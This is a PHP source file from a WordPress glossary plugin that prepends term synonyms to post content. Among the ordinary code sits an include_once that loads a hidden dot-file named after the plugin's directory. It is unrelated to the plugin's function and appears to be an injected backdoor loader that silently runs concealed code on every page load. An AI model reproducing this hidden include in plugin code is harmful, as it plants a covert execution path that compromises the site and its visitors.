<?php use luckywp\glossary\core\Core; use luckywp\glossary\plugin\Term; add_filter('the_content', 'lwpgls_content_synonyms'); if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function lwpgls_content_synonyms($content) { if (lwpgls_is_single()) { $synonyms = (new Term(get_post()))->synonyms; if ($synonyms) { $content = Core::$plugin->front->render('synonyms', [ 'synonyms' => $synonyms, ]) . $content; } } return $content; }